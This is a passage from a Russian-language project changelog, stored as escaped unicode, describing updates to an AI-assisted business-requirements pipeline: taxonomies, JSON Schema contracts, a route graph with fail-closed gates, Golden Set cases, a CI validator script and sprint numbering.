\u043f\u0443\u043d\u043a\u0442\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430. \u0412\u0435\u0440\u0434\u0438\u043a\u0442 `conditional`: \u043f\u043e\u0440\u043e\u0433 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0438 (\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 80% \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430) \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0435\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u0444\u043e\u0440\u043c\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u0434\u043e\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0442\u043e\u0447\u0435\u0447\u043d\u0430\u044f. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u2014 [`exp/ba-meta-model-cross-check-587/`](research/ba-requirements/exp/ba-meta-model-cross-check-587/README.md): \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043a\u0435\u043b\u0435\u0442\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 (\u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443), \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a `research/ai-education` \u2014 \u0434\u0432\u0430 \u043c\u043e\u0434\u0443\u043b\u044f \u0438\u0437 \u0434\u0435\u0441\u044f\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 `C-IN`/`C-OUT` \u2014 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 1059 \u0438 975. \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 **\u0431\u0435\u0437** \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u044d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0432\u0435\u0440\u043a\u0438 \u00ab\u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u00bb \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e, \u0433\u0434\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043b\u0438 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n- projects: [\u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432](projects/ba-ai-process/ba-meta-model/20-taxonomy.md) `ST-1-ATTACHED`, `ST-2-CORPUS`, `ST-3-PRODUCT-DOC`, `ST-4-HUMAN` \u0441 \u0444\u043e\u0440\u043c\u0430\u043c\u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 `EF-INLINE`/`EF-QUOTE`, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f, \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 `SR-1`\u2026`SR-6` \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438. \u0417\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442: \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `GT-5` \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043d\u043e \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b, \u0433\u0434\u0435 \u0430\u0433\u0435\u043d\u0442 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0449\u0435\u0442, \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0441\u044f \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u043e \u0444\u0430\u043a\u0442\u0435, \u043b\u0435\u0436\u0430\u0449\u0435\u043c \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u0440\u043e\u0433\u043e\u043d [`runs/bcreq-1059-routed/`](research/ba-requirements/exp/ba-meta-model-cross-check-587/README.md) \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u044d\u0444\u0444\u0435\u043a\u0442 \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0432\u0445\u043e\u0434\u0435: \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u043a\u043e\u0440\u043f\u0443\u0441\u0430, `S-SCOPE` \u0438 `S-SETTINGS` \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f. \u0421\u0435\u043c\u0438\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438\u0437 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 **\u0441\u0443\u0436\u0435\u043d** \u0434\u043e \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u043e, \u0442\u0440\u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0432 `out_of_slice` \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u2014 \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432\u0435\u0442\u043a\u0430 \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c\u0430 \u043e\u0442 \u0437\u0430\u0431\u044b\u0442\u043e\u0439.\\n- projects: \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f `V-CONTRACT` (\u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430) \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u043a `V-BIZ`, `V-APPROVE`, `V-DEV` **\u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f** \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445, \u043f\u043e\u043b\u0435 `projection` \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u043e \u0432 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 `C-OUT`. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439 \u0431\u044b\u043b \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0432\u0435\u0442\u043a\u043e\u0439: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b, \u043d\u043e \u043d\u0438 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0445 \u043d\u0435 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u043b. `V-CONTRACT` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 `S-FR` \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c\u00bb, \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u043f\u043e \u0447\u0435\u0442\u044b\u0440\u0451\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c (\u0447\u0442\u043e, \u043a\u0442\u043e, \u0433\u0434\u0435, \u043a\u043e\u0433\u0434\u0430) \u0438 \u043f\u0443\u0441\u0442\u043e\u0433\u043e `S-OPEN`.\\n- projects: \u0422\u0440\u0438 \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u044d\u0442\u0430\u043b\u043e\u043d\u0430 Golden Set (\u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043f\u0440\u043e\u0442\u0438\u0432 \u0433\u0440\u0443\u043f\u043f\u044b, `SLA` \u043f\u0440\u043e\u0442\u0438\u0432 `AHT`, `IVR` \u043f\u0440\u043e\u0442\u0438\u0432 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440\u0430) \u2014 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e `EP-G7` \u0441\u0442\u0430\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 `validate-package.py` \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043f\u0430\u0440\u0443 `confusable_with` \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u044f \u0441 \u043d\u0430\u043b\u0438\u0447\u0438\u0435\u043c \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f \u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438 \u043d\u0435\u043f\u043e\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0430\u0440\u044b. \u041f\u0440\u0430\u0432\u0438\u043b\u043e, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u0432\u0448\u0435\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u043c, \u043d\u0430\u0447\u0430\u043b\u043e \u043b\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0436\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0435.\\n\\n- projects: [\u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f MVP BCREQ](projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md) (issue #580) \u2014 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430 `A-IN \u2192 A-CORE \u2192 A-BCREQ` \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u00bb \u0432 \u0444\u043e\u0440\u043c\u0443, \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c\u0443\u044e \u0432 \u0447\u0438\u0441\u0442\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439-\u0441\u043f\u0443\u0442\u043d\u0438\u043a \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u041f\u0430\u043a\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0438 (12 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, 10 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 33 \u043d\u0430\u0432\u044b\u043a\u0430 \u0441 \u043e\u0442\u043c\u0435\u0442\u043a\u043e\u0439 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u043d\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0437\u0443, 4 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0444\u0438\u043b\u044f, 8 \u0441\u043c\u0435\u0436\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u044f); \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b `C-IN`, `C-CORE`, `C-CL`, `C-OUT`, `C-RK` \u043a\u0430\u043a JSON Schema; [\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 `RG-BCREQ-v1`](projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u0438\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0443\u0437\u043b\u043e\u0432 \u0441 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u043c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0435\u0431\u0440\u0435 \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0433\u0435\u0439\u0442\u043e\u0432 fail-closed; \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c `SKILL.md` \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 \u0441\u0440\u0435\u0434\u044b `name` \u0438 `description` (`SK-0`, `SK-8`) \u0438 \u0448\u0435\u0441\u0442\u044c\u044e \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c\u0438 \u0425\u0430\u0431\u0430; \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 Golden Set \u0438\u0437 \u0434\u0432\u0443\u0445 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u2014 \u043a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u00ab\u0412\u0445\u043e\u0434\u044f\u0449\u0438\u0435\u00bb \u043f\u0440\u043e\u0442\u0438\u0432 \u00ab\u0418\u041e\u00bb, \u0433\u0434\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f **\u043e\u0442\u043a\u0430\u0437 \u0443\u0437\u043b\u0430**, \u0430 \u043d\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442; \u043c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438 `MP-1`\u2026`MP-6` \u0441 \u0444\u043e\u0440\u043c\u0443\u043b\u0430\u043c\u0438; \u0447\u0435\u043a-\u043b\u0438\u0441\u0442\u044b \u0433\u0435\u0439\u0442\u043e\u0432, \u0440\u0430\u0437\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u00ab\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u0430\u00bb. \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 `G-mach` \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 [`validate-package.py`](projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/validate-package.py) \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 CI \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0432\u043e\u0441\u0435\u043c\u044c\u044e \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 [`test-execution-package.sh`](tools/test-execution-package.sh), \u043a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043b\u043e\u043c\u0430\u0435\u0442 \u043e\u0434\u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u043a\u0430\u0437\u0430: \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442, \u0433\u0435\u0439\u0442\u043e\u043c \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f (`M-2`). \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043e\u0442 \u0425\u0430\u0431\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e: \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0425\u0430\u0431\u0430 \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438. \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432 [\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438](projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml); \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0437\u0430\u0434\u0430\u0447\u0438 B-179\u2026B-188 (\u0421\u043f\u0440\u0438\u043d\u0442 20). \u041d\u043e\u043c\u0435\u0440 20 \u0438 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d `B-179`\u2026`B-188`, \u0430 \u043d\u0435 19 \u0438 `B-169`\u2026`B-178`: \u043f\u0440\u0438 \u0441\u043b\u0438\u044f\u043d\u0438\u0438 \u0441 `main` \u043d\u043e\u043c\u0435\u0440 19 \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b `B-169`\u2026`B-174` \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0437\u0430\u043d\u044f\u0442\u044b \u0441\u043f\u0440\u0438\u043d\u0442\u043e\u043c \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 MVP \u043f\u043e issue [#583](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/583), \u0438 \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0430\u043d\u044f\u0442\u043e\u0433\u043e \u0441\u043f\u0440\u0438\u043d\u0442\u0430 \u043f\u043e\u0440\u0432\u0430\u043b\u0430 \u0431\u044b \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c. \u0421\u043f\u0440\u0438\u043d\u0442 19 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439-\u0441\u043f\u0443\u0442\u043d\u0438\u043a \u043f\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0443 HTOM, \u0421\u043f\u0440\u0438\u043d\u0442 20 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0432 \u043d\u0451\u043c \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 `B-179` \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 `B-170`.\\n- analysis: [\u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f `ai-rules/` \u0438 `ai-governance/` \u0432 \u0435\u0434\u0438\u043d\u044b\u0439 `ai/`: options analysis](docs/analysis/2026-09-15-ai-directories-consolidation-analysis.md) (issue #579, Creative) \u2014 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u0430\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 `ai-*` \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: **\u043f\u043e\u0434\u0445\u043e\u0434 \u0410, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u0442\u044c**. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432 `templates/htom/` \u2014 \u0438\u0437\u043c\u0435\u0440\u0435\u043d \u043f\u043e \u043a\u043e\u0434\u0443 \u0433\u0435\u043d\u043e\u043c\u0430 \u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0449\u0438\u043c \u043e\u0442 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0438 \u043a\u043e\u0440\u043d\u044f \u0425\u0430\u0431\u0430: 